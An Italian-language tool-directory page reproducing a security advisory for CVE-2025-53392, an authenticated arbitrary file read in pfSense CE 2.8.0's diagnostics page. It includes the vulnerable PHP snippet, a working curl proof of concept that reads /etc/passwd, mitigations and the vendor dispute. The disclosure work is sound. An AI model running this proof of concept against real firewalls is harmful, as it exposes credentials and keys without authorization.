Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pfsense-security-research — Lettura arbitraria di file autenticata in pfSense 2.8.0 tramite l'interfaccia web di diagnostica (CVE-2025-53392) | Kitploit
Strumenti/GitHubGitHub/skraft9/pfsense-security-research
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

Lettura arbitraria di file autenticata in pfSense 2.8.0 tramite l'interfaccia web di diagnostica (CVE-2025-53392)

Vedi Repository
1438 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Lettura arbitraria di file autenticata in pfSense 2.8.0 tramite interfaccia web di diagnostica

CVE ID: CVE-2025-53392

Data: 2025-06-27

Autore: Seth Kraft

Homepage del fornitore: https://www.netgate.com/

Changelog del fornitore:

https://docs.netgate.com/pfsense/en/latest/releases/

Link del software: https://www.pfsense.org/download/

Versione: pfSense CE 2.8.0

ID CWE: CWE-36 (Percorso assoluto traversal)

Punteggio base CVSS: 6.5 (Medio)

Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Tipo: Lettura arbitraria di file autenticata / Divulgazione di file locali


Autorizzazione

Solo per scopi di test e ricerca autorizzati. Non testare o sfruttare questa vulnerabilità su sistemi che non possiedi o per i quali non hai esplicita autorizzazione.


Riepilogo

pfSense CE 2.8.0 contiene una vulnerabilità di divulgazione di file locali nella pagina di diagnostica diag_command.php, che consente agli utenti autenticati di scaricare file arbitrari dal file system sottostante.

Questa funzionalità manca di qualsiasi sanitizzazione del percorso, restrizione di directory o controlli di accesso oltre all'assegnazione dei permessi.


Dettagli

La logica vulnerabile si trova nel file src/usr/local/www/diag_command.php:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

Non ci sono controlli di sicurezza o misure di sanitizzazione applicate al parametro dlPath controllato dall'utente.

Qualsiasi percorso di file che il processo PHP può leggere verrà restituito all'utente.


Prova di concetto

Crea gruppo low-priv e assegna un singolo privilegio (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

Sebbene io riconosca la presenza di un disclaimer di sicurezza per il privilegio WebCfg - Diagnostics: Command, i disclaimer da soli non sostituiscono un solido controllo degli accessi.

La frase “Allow access to the Diagnostics Command page” è ambigua e minimizza il rischio: abilita l'esecuzione di comandi root illimitati, non solo l'accesso diagnostico.

Le etichette dei privilegi in un'interfaccia web devono riflettere accuratamente la portata e la gravità delle azioni che consentono, specialmente quando espongono il controllo amministrativo completo.

Assegna il gruppo low-priv all'utente dev Screenshot 2025-06-27 133218

Questa prova di concetto dimostra che un utente a cui è stato assegnato solo il permesso WebCfg - Diagnostics: Command può esfiltrare /etc/passwd abusando del parametro dlPath non sanitizzato.

root@kitploit:~
# 1. Avvia sessione ed estrai token CSRF
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Autenticati come utente con privilegi ridotti "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Ottieni token CSRF dopo il login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Esfiltra file arbitrario (esempio: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

Dimostrazione

pfSense-authenticated-file-disclosure-poc


Impatto

Qualsiasi utente pfSense a cui è stato assegnato il privilegio WebCfg - Diagnostics: Command può:

  • Leggere file di sistema locali sensibili
  • Estrarre backup, credenziali e chiavi
  • Accedere a file ben oltre i permessi previsti

Ciò viola il principio del minimo privilegio e rompe i confini logici dei privilegi.


Mitigazione suggerita

  1. Limitare dlPath a una directory base sicura (ad es., /tmp) usando realpath() e l'imposizione del prefisso
  2. Rimuovere o bloccare percorsi con .. o percorsi assoluti
  3. Consentire solo il download di file in una whitelist o in una directory di artefatti temporanei

Cronologia della divulgazione

  • 2025-06-26: Vulnerabilità segnalata a Netgate
  • 2025-06-27: Netgate ha risposto, respingendo il problema come comportamento previsto
  • 2025-06-27: Il ricercatore ha risposto con una confutazione tecnica, il fornitore ha ribadito il respingimento
  • 2025-06-27: Il ricercatore ha avviato la divulgazione pubblica a causa del respingimento finale del fornitore, richiedendo l'assegnazione di un CVE a MITRE
  • 2025-06-28: MITRE ha assegnato CVE-2025-53392 con tag contestato dal fornitore

Risposta da Netgate

Mentre il fornitore afferma che l'accesso a questa pagina equivale a root, ciò confonde i permessi a livello web con l'accesso illimitato al backend.

Il privilegio dovrebbe essere tecnicamente imposto (non presunto) e gli avvisi nell'interfaccia utente non sostituiscono una progettazione sicura.


Contestando l'affermazione del fornitore che questa funzionalità sia "ben documentata" - non ho trovato alcuna menzione nella documentazione dei privilegi utente di pfSense che affermi che il permesso WebCfg - Diagnostics: Command equivalga all'accesso di livello root. Screenshot 2025-06-28 235613


Il fornitore potrebbe essersi riferito alla pagina Diagnostics Command, che include un avviso generale sull'uso improprio.

Ma la documentazione non collega esplicitamente questa funzionalità al privilegio WebCfg - Diagnostics: Command né chiarisce che concede accesso di livello root.


Aspettative di sicurezza per le interfacce diagnostiche

Il modulo di diagnostica all'interno dell'interfaccia web di un firewall dovrebbe contenere adeguate salvaguardie per prevenire abusi contro il sistema operativo sottostante.

  • I comandi di diagnostica dovrebbero essere funzionalmente limitati a ping, traceroute, visualizzazione log, ecc.
  • I comandi dovrebbero essere eseguiti all'interno di una shell ristretta o chroot.
  • L'accesso ai file dovrebbe essere esplicitamente limitato a directory sicure (/tmp, /var/log).
  • I permessi dovrebbero essere granulari e chiari nell'ambito.

Disclaimer

Questo lavoro è stato condotto al di fuori del mio impiego e riflette i miei sforzi personali nella ricerca sulla sicurezza informatica.


Scarica lo strumento